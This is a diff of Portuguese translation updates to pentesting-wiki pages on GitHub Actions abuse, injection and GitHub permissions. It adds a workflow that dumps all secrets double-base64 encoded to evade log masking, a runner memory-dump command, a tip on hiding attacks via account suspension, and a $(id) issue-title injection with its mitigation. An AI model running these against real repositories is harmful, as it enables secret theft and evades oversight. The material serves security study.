 ```yaml
 name: revshell
 on:
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 

 
-- Se o segredo for usado **diretamente em uma expressão**, o script shell gerado é armazenado **em disco** e é acessível.
+- Se o secret for usado **diretamente em uma expressão**, o shell script gerado é armazenado **on-disk** e fica acessível.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- Para ações JavaScript, os segredos são enviados através de variáveis de ambiente.
+- Para JavaScript actions, os secrets são passados via environment variables
 - ```bash
 ps axe | grep node
 ```
-- Para uma **ação personalizada**, o risco pode variar dependendo de como um programa está usando o segredo que obteve do **argumento**:
+- Para uma **custom action**, o risco pode variar dependendo de como um programa usa o secret que obteve do **argument**:
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -514,23 +542,47 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-### Abusando de runners auto-hospedados
+- Enumere todos os secrets via o secrets context (nível de colaborador). Um contributor com write access pode modificar um workflow em qualquer branch para despejar todos os repository/org/environment secrets. Use double base64 para evadir o log masking do GitHub e decode localmente:
 
-A maneira de descobrir quais **Github Actions estão sendo executadas em infraestrutura não-Github** é procurar por **`runs-on: self-hosted`** na configuração yaml da Github Action.
+```yaml
+name: Steal secrets
+on:
+push:
+branches: [ attacker-branch ]
+jobs:
+dump:
+runs-on: ubuntu-latest
+steps:
+- name: Double-base64 the secrets context
+run: |
+echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
+```
 
-Runners **auto-hospedados** podem ter acesso a **informações extra sensíveis**, a outros **sistemas de rede** (pontos finais vulneráveis na rede? serviço de metadados?) ou, mesmo que esteja isolado e destruído, **mais de uma ação pode ser executada ao mesmo tempo** e a maliciosa pode **roubar os segredos** da outra.
+Decodifique localmente:
 
-Em runners auto-hospedados, também é possível obter os **segredos do processo \_Runner.Listener**\_\*\* que conterá todos os segredos dos fluxos de trabalho em qualquer etapa, despejando sua memória:
+```bash
+echo "ZXdv...Zz09" | base64 -d | base64 -d
+```
+
+Dica: para stealth durante os testes, criptografe antes de imprimir (openssl já vem pré-instalado nos GitHub-hosted runners).
+
+### Abusando de Self-hosted runners
+
+A maneira de descobrir quais **Github Actions estão sendo executadas em infraestrutura fora do GitHub** é procurar por **`runs-on: self-hosted`** no yaml de configuração do Github Action.
+
+**Self-hosted** runners podem ter acesso a **extra sensitive information**, a outros **network systems** (endpoints vulneráveis na rede? metadata service?) ou, mesmo que estejam isolados e destruídos, **mais de uma action pode ser executada ao mesmo tempo** e a maliciosa poderia **steal the secrets** da outra.
+
+Em self-hosted runners também é possível obter os **secrets from the \_Runner.Listener**\_\*\* process\*\* que conterá todos os secrets dos workflows em qualquer etapa ao despejar sua memória:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
-Verifique [**este post para mais informações**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Confira [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
 ### Registro de Imagens Docker do Github
 
-É possível criar ações do Github que **construirão e armazenarão uma imagem Docker dentro do Github**.\
-Um exemplo pode ser encontrado no seguinte expansível:
+É possível criar Github actions que irão **construir e armazenar uma Docker image dentro do Github**.\
+Um exemplo pode ser encontrado no elemento expansível a seguir:
 
 

 
@@ -565,14 +617,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 

 
-Como você pode ver no código anterior, o registro do Github está hospedado em **`ghcr.io`**.
+Como você pode ver no código anterior, o Github registry é hospedado em **`ghcr.io`**.
 
-Um usuário com permissões de leitura sobre o repositório poderá então baixar a imagem Docker usando um token de acesso pessoal:
+Um usuário com permissões de leitura sobre o repositório poderá então baixar a Docker Image usando um personal access token:
 ```bash
 echo $gh_token | docker login ghcr.io -u  --password-stdin
 docker pull ghcr.io//:
 ```
-Então, o usuário poderia procurar por **segredos vazados nas camadas da imagem Docker:**
+Then, the user could search for **leaked secrets in the Docker image layers:**
 
 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -580,15 +632,19 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
 
 ### Informações sensíveis nos logs do Github Actions
 
-Mesmo que o **Github** tente **detectar valores secretos** nos logs das ações e **evitar mostrá-los**, **outros dados sensíveis** que podem ter sido gerados na execução da ação não serão ocultados. Por exemplo, um JWT assinado com um valor secreto não será ocultado a menos que seja [especificamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Mesmo que o **Github** tente **detectar valores secretos** nos logs das actions e **evitar mostrá‑los**, **outros dados sensíveis** que possam ter sido gerados durante a execução da action não serão ocultados. Por exemplo, um JWT assinado com um valor secreto não será ocultado a menos que esteja [especificamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
-## Cobrir suas Trilhas
+## Encobrindo seus rastros
 
-(Técnica de [**aqui**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primeiro de tudo, qualquer PR levantada é claramente visível ao público no Github e à conta alvo do GitHub. No GitHub, por padrão, **não podemos deletar um PR da internet**, mas há uma reviravolta. Para contas do Github que estão **suspensas** pelo Github, todos os seus **PRs são automaticamente deletados** e removidos da internet. Portanto, para esconder sua atividade, você precisa ou ter sua **conta do GitHub suspensa ou ter sua conta sinalizada**. Isso **esconderá todas as suas atividades** no GitHub da internet (basicamente remove todos os seus PRs de exploração).
+(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primeiro de tudo, qualquer PR criado é claramente visível ao público no Github e para a conta GitHub alvo. No GitHub por padrão, nós **não podemos deletar um PR da internet**, mas há uma reviravolta. Para contas do Github que são **suspensas** pelo Github, todos os seus **PRs são automaticamente deletados** e removidos da internet. Então, para esconder sua atividade você precisa ou conseguir que sua **conta GitHub seja suspensa ou que sua conta seja sinalizada**. Isso iria **esconder todas as suas atividades** no GitHub da internet (basicamente remover todos os seus exploit PR).
 
-Uma organização no GitHub é muito proativa em relatar contas ao GitHub. Tudo o que você precisa fazer é compartilhar “algumas coisas” em uma Issue e eles garantirão que sua conta seja suspensa em 12 horas :p e aí está, fez sua exploração invisível no github.
+Uma organização no GitHub é muito proativa em reportar contas ao GitHub. Tudo que você precisa fazer é compartilhar “algumas coisas” em um Issue e eles vão garantir que sua conta seja suspensa em 12 horas :p e pronto, seu exploit fica invisível no github.
 
 > [!WARNING]
-> A única maneira de uma organização descobrir que foi alvo é verificar os logs do GitHub a partir do SIEM, pois na interface do GitHub o PR seria removido.
+> A única maneira de uma organização descobrir que foi alvo é checar os logs do GitHub no SIEM, já que pela UI do GitHub o PR teria sido removido.
+
+## References
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index f5f092d19..5cffe6dab 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -1,3 +1,96 @@
-# Gh Actions - Injeções de Script de Contexto
+# Gh Actions - Context Script Injections
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Entendendo o risco
+
+GitHub Actions renderiza expressões ${{ ... }} antes da etapa ser executada. O valor renderizado é inserido no programa da etapa (para run steps, um shell script). Se você interpolar entrada não confiável diretamente dentro de run:, o atacante controla parte do programa do shell e pode executar comandos arbitrários.
+
+Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
+
+Pontos-chave:
+- A renderização ocorre antes da execução. O run script é gerado com todas as expressões resolvidas e então executado pelo shell.
+- Muitos contexts contêm campos controlados pelo usuário dependendo do evento que o disparou (issues, PRs, comments, discussions, forks, stars, etc.). Veja a referência de untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
+- Shell quoting inside run: não é uma defesa confiável, porque a injeção ocorre na fase de renderização do template. Atacantes podem quebrar as aspas ou injetar operadores via entrada especialmente criada.
+
+## Padrão vulnerável → RCE no runner
+
+Workflow vulnerável (disparado quando alguém abre uma nova issue):
+```yaml
+name: New Issue Created
+on:
+issues:
+types: [opened]
+jobs:
+deploy:
+runs-on: ubuntu-latest
+permissions:
+issues: write
+steps:
+- name: New issue
+run: |
+echo "New issue ${{ github.event.issue.title }} created"
+- name: Add "new" label to issue
+uses: actions-ecosystem/action-add-labels@v1
+with:
+github_token: ${{ secrets.GITHUB_TOKEN }}
+labels: new
+```
+Se um atacante abrir uma issue intitulada $(id), a etapa renderizada torna-se:
+```sh
+echo "New issue $(id) created"
+```
+A substituição de comando executa id no runner. Exemplo de saída:
+```
+New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
+```
+Por que colocar entre aspas não te salva:
+- As expressões são renderizadas primeiro, e então o script resultante é executado. Se o valor não confiável contiver $(...), `;`, `"`/`'`, ou quebras de linha, ele pode alterar a estrutura do programa apesar das suas aspas.
+
+## Padrão seguro (variáveis shell via env)
+
+Mitigação correta: copie a entrada não confiável para uma variável de ambiente e, em seguida, use expansão nativa do shell ($VAR) no script de execução. Não reinserir com ${{ ... }} dentro do comando.
+```yaml
+# safe
+jobs:
+deploy:
+runs-on: ubuntu-latest
+steps:
+- name: New issue
+env:
+TITLE: ${{ github.event.issue.title }}
+run: |
+echo "New issue $TITLE created"
+```
+Notas:
+- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
+- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
+
+## Superfícies acionáveis por leitores (trate como não confiáveis)
+
+Contas com permissão somente de leitura em repositórios públicos ainda podem acionar muitos eventos. Qualquer campo em contexts derivados desses eventos deve ser considerado controlado por um atacante, a menos que se prove o contrário. Exemplos:
+- issues, issue_comment
+- discussion, discussion_comment (orgs can restrict discussions)
+- pull_request, pull_request_review, pull_request_review_comment
+- pull_request_target (dangerous if misused, runs in base repo context)
+- fork (anyone can fork public repos)
+- watch (starring a repo)
+- Indirectly via workflow_run/workflow_call chains
+
+Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
+
+## Dicas práticas
+
+- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
+- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
+- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths.
+- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
+
+## Referências
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
+- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
+- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
+- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index c7b010aeb..7a258f57b 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -4,153 +4,153 @@
 
 ## Estrutura Básica
 
-A estrutura básica do ambiente do github de uma grande **empresa** é possuir uma **empresa** que possui **várias organizações** e cada uma delas pode conter **vários repositórios** e **várias equipes**. Empresas menores podem **possuir apenas uma organização e nenhuma empresa**.
+A estrutura básica do ambiente do github de uma grande **company** é possuir uma **enterprise** que possui **several organizations** e cada uma delas pode conter **several repositories** e **several teams.**. Empresas menores podem simplesmente **own one organization and no enterprises**.
 
-Do ponto de vista do usuário, um **usuário** pode ser um **membro** de **diferentes empresas e organizações**. Dentro delas, o usuário pode ter **diferentes funções de empresa, organização e repositório**.
+Do ponto de vista de um usuário, um **user** pode ser **a member** de **different enterprises and organizations**. Dentro delas o usuário pode ter **different enterprise, organization and repository roles**.
 
-Além disso, um usuário pode ser **parte de diferentes equipes** com diferentes funções de empresa, organização ou repositório.
+Além disso, um usuário pode fazer **part of different teams** com diferentes enterprise, organization ou repository roles.
 
-E finalmente, **os repositórios podem ter mecanismos de proteção especiais**.
+E finalmente **repositories may have special protection mechanisms**.
 
 ## Privilégios
 
-### Funções de Empresa
+### Enterprise Roles
 
-- **Proprietário da empresa**: Pessoas com essa função podem **gerenciar administradores, gerenciar organizações dentro da empresa, gerenciar configurações da empresa, impor políticas entre organizações**. No entanto, eles **não podem acessar configurações ou conteúdo da organização** a menos que sejam designados como proprietários da organização ou tenham acesso direto a um repositório de propriedade da organização.
-- **Membros da empresa**: Membros de organizações pertencentes à sua empresa também são **automaticamente membros da empresa**.
+- **Enterprise owner**: Pessoas com esse papel podem **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. No entanto, elas **cannot access organization settings or content** a menos que sejam tornadas organization owner ou recebam acesso direto a um repositório pertencente à organização.
+- **Enterprise members**: Membros de organizations owned by your enterprise também são **automatically members of the enterprise**.
 
-### Funções de Organização
+### Organization Roles
 
-Em uma organização, os usuários podem ter diferentes funções:
+Em uma organization os usuários podem ter diferentes papéis:
 
-- **Proprietários da organização**: Proprietários da organização têm **acesso administrativo completo à sua organização**. Essa função deve ser limitada, mas não a menos de duas pessoas, em sua organização.
-- **Membros da organização**: A função **padrão**, não administrativa para **pessoas em uma organização** é o membro da organização. Por padrão, os membros da organização **têm um número de permissões**.
-- **Gerentes de cobrança**: Gerentes de cobrança são usuários que podem **gerenciar as configurações de cobrança da sua organização**, como informações de pagamento.
-- **Gerentes de Segurança**: É uma função que os proprietários da organização podem atribuir a qualquer equipe em uma organização. Quando aplicada, dá a cada membro da equipe permissões para **gerenciar alertas e configurações de segurança em sua organização, bem como permissões de leitura para todos os repositórios** na organização.
-- Se sua organização tiver uma equipe de segurança, você pode usar a função de gerente de segurança para dar aos membros da equipe o menor acesso necessário à organização.
-- **Gerentes de Aplicativos do Github**: Para permitir que usuários adicionais **gerenciem Aplicativos do GitHub de propriedade de uma organização**, um proprietário pode conceder a eles permissões de gerente de Aplicativos do GitHub.
-- **Colaboradores externos**: Um colaborador externo é uma pessoa que tem **acesso a um ou mais repositórios da organização, mas não é explicitamente um membro** da organização.
+- **Organization owners**: Organization owners têm **complete administrative access to your organization**. Esse papel deve ser limitado, mas não menor que duas pessoas na sua organização.
+- **Organization members**: O papel **default**, não administrativo para **people in an organization** é o organization member. Por padrão, organization members **have a number of permissions**.
+- **Billing managers**: Billing managers são usuários que podem **manage the billing settings for your organization**, como informações de pagamento.
+- **Security Managers**: É um papel que organization owners podem atribuir a qualquer team em uma organização. Quando aplicado, dá a cada membro da equipe permissões para **manage security alerts and settings across your organization, as well as read permissions for all repositories** na organização.
+- Se sua organização tiver um security team, você pode usar o security manager role para dar aos membros da equipe o mínimo de acesso que eles precisam à organização.
+- **Github App managers**: Para permitir que usuários adicionais **manage GitHub Apps owned by an organization**, um owner pode conceder-lhes permissões de GitHub App manager.
+- **Outside collaborators**: An outside collaborator é uma pessoa que tem **access to one or more organization repositories but is not explicitly a member** da organização.
 
-Você pode **comparar as permissões** dessas funções nesta tabela: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
+Você pode **compare the permissions** desses papéis nesta tabela: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
 
-### Privilégios dos Membros
+### Members Privileges
 
-Em _https://github.com/organizations/\/settings/member_privileges_ você pode ver as **permissões que os usuários terão apenas por serem parte da organização**.
+Em _https://github.com/organizations/\/settings/member_privileges_ você pode ver as **permissions users will have just for being part of the organisation**.
 
-As configurações aqui configuradas indicarão as seguintes permissões dos membros da organização:
+As configurações aqui definidas indicarão as seguintes permissões dos membros da organização:
 
-- Ser administrador, escritor, leitor ou sem permissão sobre todos os repositórios da organização.
-- Se os membros podem criar repositórios privados, internos ou públicos.
-- Se o fork de repositórios é possível.
-- Se é possível convidar colaboradores externos.
-- Se sites públicos ou privados podem ser publicados.
-- As permissões que os administradores têm sobre os repositórios.
-- Se os membros podem criar novas equipes.
+- Ser admin, writer, reader ou nenhum acesso sobre todos os repositórios da organização.
+- Se os membros podem criar repositórios private, internal ou public.
+- Se é possível forkar repositórios.
+- Se é possível convidar outside collaborators.
+- Se sites public ou private podem ser publicados.
+- As permissões que admins têm sobre os repositórios.
+- Se membros podem criar novas teams.
 
-### Funções de Repositório
+### Repository Roles
 
-Por padrão, as funções de repositório são criadas:
+Por padrão os repository roles são criados:
 
-- **Leitura**: Recomendado para **contribuidores não de código** que desejam visualizar ou discutir seu projeto.
-- **Triagem**: Recomendado para **contribuidores que precisam gerenciar proativamente problemas e pull requests** sem acesso de escrita.
-- **Escrita**: Recomendado para contribuintes que **enviam ativamente para seu projeto**.
-- **Manutenção**: Recomendado para **gerentes de projeto que precisam gerenciar o repositório** sem acesso a ações sensíveis ou destrutivas.
-- **Admin**: Recomendado para pessoas que precisam de **acesso total ao projeto**, incluindo ações sensíveis e destrutivas, como gerenciar segurança ou excluir um repositório.
+- **Read**: Recomendado para **non-code contributors** que queiram ver ou discutir seu projeto
+- **Triage**: Recomendado para **contributors who need to proactively manage issues and pull requests** sem acesso de escrita
+- **Write**: Recomendado para contributors que **actively push to your project**
+- **Maintain**: Recomendado para **project managers who need to manage the repository** sem acesso a ações sensíveis ou destrutivas
+- **Admin**: Recomendado para pessoas que precisam de **full access to the project**, incluindo ações sensíveis e destrutivas como gerenciar segurança ou deletar um repositório
 
-Você pode **comparar as permissões** de cada função nesta tabela [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+Você pode **compare the permissions** de cada papel nesta tabela [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
 
-Você também pode **criar suas próprias funções** em _https://github.com/organizations/\/settings/roles_
+Você também pode **create your own roles** em _https://github.com/organizations/\/settings/roles_
 
-### Equipes
+### Teams
 
-Você pode **listar as equipes criadas em uma organização** em _https://github.com/orgs/\/teams_. Observe que para ver as equipes que são filhas de outras equipes, você precisa acessar cada equipe pai.
+Você pode **list the teams created in an organization** em _https://github.com/orgs/\/teams_. Note que para ver os teams que são filhos de outros teams você precisa acessar cada parent team.
 
-### Usuários
+### Users
 
-Os usuários de uma organização podem ser **listados** em _https://github.com/orgs/\/people._
+Os users de uma organização podem ser **listed** em _https://github.com/orgs/\/people._
 
-Nas informações de cada usuário, você pode ver as **equipes das quais o usuário é membro** e os **repositórios aos quais o usuário tem acesso**.
+Nas informações de cada usuário você pode ver as **teams the user is member of**, e os **repos the user has access to**.
 
-## Autenticação do Github
+## Github Authentication
 
-O Github oferece diferentes maneiras de autenticar sua conta e realizar ações em seu nome.
+Github oferece diferentes formas de autenticar na sua conta e executar ações em seu nome.
 
-### Acesso Web
+### Web Access
 
-Acessando **github.com**, você pode fazer login usando seu **nome de usuário e senha** (e um **2FA potencialmente**).
+Acessando **github.com** você pode fazer login usando seu **username and password** (e um **2FA potentially**).
 
-### **Chaves SSH**
+### **SSH Keys**
 
-Você pode configurar sua conta com uma ou várias chaves públicas permitindo que a chave **privada relacionada realize ações em seu nome.** [https://github.com/settings/keys](https://github.com/settings/keys)
+Você pode configurar sua conta com uma ou várias chaves públicas permitindo que a related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
 
-#### **Chaves GPG**
+#### **GPG Keys**
 
-Você **não pode se passar pelo usuário com essas chaves**, mas se você não as usar, pode ser possível que você **seja descoberto por enviar commits sem uma assinatura**. Saiba mais sobre [modo vigilante aqui](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Você **cannot impersonate the user with these keys** mas se você não as usar pode ser possível que você **get discover for sending commits without a signature**. Saiba mais sobre [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
 
-### **Tokens de Acesso Pessoal**
+### **Personal Access Tokens**
 
-Você pode gerar um token de acesso pessoal para **dar a um aplicativo acesso à sua conta**. Ao criar um token de acesso pessoal, o **usuário** precisa **especificar** as **permissões** que o **token** terá. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Você pode gerar personal access token para **give an application access to your account**. Ao criar um personal access token o **user** precisa **specify** as **permissions** que o **token** terá. [https://github.com/settings/tokens](https://github.com/settings/tokens)
 
-### Aplicativos Oauth
+### Oauth Applications
 
-Aplicativos Oauth podem solicitar permissões **para acessar parte das suas informações do github ou para se passar por você** para realizar algumas ações. Um exemplo comum dessa funcionalidade é o **botão de login com github** que você pode encontrar em algumas plataformas.
+Oauth applications podem pedir permissões **to access part of your github information or to impersonate you** para executar algumas ações. Um exemplo comum dessa funcionalidade é o botão **login with github** que você pode encontrar em algumas plataformas.
 
-- Você pode **criar** seus próprios **aplicativos Oauth** em [https://github.com/settings/developers](https://github.com/settings/developers)
-- Você pode ver todos os **aplicativos Oauth que têm acesso à sua conta** em [https://github.com/settings/applications](https://github.com/settings/applications)
-- Você pode ver os **escopos que os Aplicativos Oauth podem solicitar** em [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
-- Você pode ver o acesso de terceiros de aplicativos em uma **organização** em _https://github.com/organizations/\/settings/oauth_application_policy_
+- Você pode **create** suas próprias **Oauth applications** em [https://github.com/settings/developers](https://github.com/settings/developers)
+- Você pode ver todas as **Oauth applications that has access to your account** em [https://github.com/settings/applications](https://github.com/settings/applications)
+- Você pode ver os **scopes that Oauth Apps can ask for** em [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- Você pode ver third party access de applications em uma **organization** em _https://github.com/organizations/\/settings/oauth_application_policy_
 
-Algumas **recomendações de segurança**:
+Algumas **security recommendations**:
 
-- Um **Aplicativo OAuth** deve sempre **agir como o usuário autenticado do GitHub em toda a plataforma GitHub** (por exemplo, ao fornecer notificações ao usuário) e com acesso apenas aos escopos especificados.
-- Um Aplicativo OAuth pode ser usado como um provedor de identidade ao habilitar um "Login com GitHub" para o usuário autenticado.
-- **Não** crie um **Aplicativo OAuth** se você quiser que seu aplicativo atue em um **único repositório**. Com o escopo `repo`, os Aplicativos OAuth podem **agir em \_todos**\_\*\* os repositórios do usuário autenticado\*\*.
-- **Não** crie um Aplicativo OAuth para atuar como um aplicativo para sua **equipe ou empresa**. Aplicativos OAuth se autenticam como um **único usuário**, então se uma pessoa criar um Aplicativo OAuth para uma empresa usar, e depois ela deixar a empresa, ninguém mais terá acesso a ele.
-- **Mais** em [aqui](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- Um **OAuth App** deveria sempre **act as the authenticated GitHub user across all of GitHub** (por exemplo, ao fornecer notificações ao usuário) e com acesso apenas aos scopes especificados.
+- Um OAuth App pode ser usado como provedor de identidade ao habilitar um "Login with GitHub" para o authenticated user.
+- **Don't** crie um **OAuth App** se você quer que sua aplicação atue em um **single repository**. Com o scope `repo`, OAuth Apps podem **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
+- **Don't** crie um OAuth App para agir como uma aplicação para seu **team or company**. OAuth Apps autentica como um **single user**, então se uma pessoa cria um OAuth App para a empresa usar e depois ela sair, ninguém mais terá acesso a ele.
+- **More** em [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
 
-### Aplicativos do Github
+### Github Applications
 
-Aplicativos do Github podem solicitar permissões para **acessar suas informações do github ou se passar por você** para realizar ações específicas sobre recursos específicos. Nos Aplicativos do Github, você precisa especificar os repositórios aos quais o aplicativo terá acesso.
+Github applications podem pedir permissões para **access your github information or impersonate you** para executar ações específicas sobre recursos específicos. Em Github Apps você precisa especificar os repositórios que o app terá acesso.
 
-- Para instalar um Aplicativo do GitHub, você deve ser um **proprietário da organização ou ter permissões de administrador** em um repositório.
-- O Aplicativo do GitHub deve **conectar-se a uma conta pessoal ou a uma organização**.
-- Você pode criar seu próprio aplicativo do Github em [https://github.com/settings/apps](https://github.com/settings/apps)
-- Você pode ver todos os **aplicativos do Github que têm acesso à sua conta** em [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-- Estes são os **Endpoints da API para Aplicativos do Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependendo das permissões do Aplicativo, ele poderá acessar alguns deles.
-- Você pode ver aplicativos instalados em uma **organização** em _https://github.com/organizations/\/settings/installations_
+- Para instalar um GitHub App, você deve ser um **organisation owner or have admin permissions** em um repositório.
+- O GitHub App deve **connect to a personal account or an organisation**.
+- Você pode criar sua própria Github application em [https://github.com/settings/apps](https://github.com/settings/apps)
+- Você pode ver todas as **Github applications that has access to your account** em [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
+- Estes são os **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependendo das permissões do App ele poderá acessar alguns deles
+- Você pode ver installed apps em uma **organization** em _https://github.com/organizations/\/settings/installations_
 
 Algumas recomendações de segurança:
 
-- Um Aplicativo do GitHub deve **realizar ações independentemente de um usuário** (a menos que o aplicativo esteja usando um token [de usuário para servidor](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Para manter os tokens de acesso de usuário para servidor mais seguros, você pode usar tokens de acesso que expiram após 8 horas, e um token de atualização que pode ser trocado por um novo token de acesso. Para mais informações, veja "[Atualizando tokens de acesso de usuário para servidor](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-- Certifique-se de que o Aplicativo do GitHub se integre com **repositórios específicos**.
-- O Aplicativo do GitHub deve **conectar-se a uma conta pessoal ou a uma organização**.
-- Não espere que o Aplicativo do GitHub saiba e faça tudo o que um usuário pode.
-- **Não use um Aplicativo do GitHub se você só precisa de um serviço de "Login com GitHub"**. Mas um Aplicativo do GitHub pode usar um [fluxo de identificação de usuário](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) para fazer login de usuários _e_ fazer outras coisas.
-- Não crie um Aplicativo do GitHub se você _apenas_ quiser agir como um usuário do GitHub e fazer tudo o que esse usuário pode fazer.
-- Se você estiver usando seu aplicativo com GitHub Actions e quiser modificar arquivos de workflow, você deve se autenticar em nome do usuário com um token OAuth que inclua o escopo `workflow`. O usuário deve ter permissão de administrador ou escrita para o repositório que contém o arquivo de workflow. Para mais informações, veja "[Entendendo escopos para aplicativos OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
-- **Mais** em [aqui](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
+- Um GitHub App deve **take actions independent of a user** (a menos que o app esteja usando um [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Para manter os user-to-server access tokens mais seguros, você pode usar access tokens que expiram após 8 horas, e um refresh token que pode ser trocado por um novo access token. Para mais informação, veja "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Certifique-se de que o GitHub App integre com **specific repositories**.
+- O GitHub App deve **connect to a personal account or an organisation**.
+- Não espere que o GitHub App saiba e faça tudo que um usuário pode.
+- **Don't use a GitHub App if you just need a "Login with GitHub" service**. Mas um GitHub App pode usar um [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) para logar usuários _and_ fazer outras coisas.
+- Não construa um GitHub App se você _only_ quer agir como um GitHub user e fazer tudo que esse usuário pode fazer.
+- Se você estiver usando seu app com Github Actions e quiser modificar arquivos de workflow, você deve autenticar em nome do usuário com um OAuth token que inclua o escopo `workflow`. O usuário deve ter permissão de admin ou write no repositório que contém o arquivo de workflow. Para mais informações, veja "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- **More** em [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
 
 ### Github Actions
 
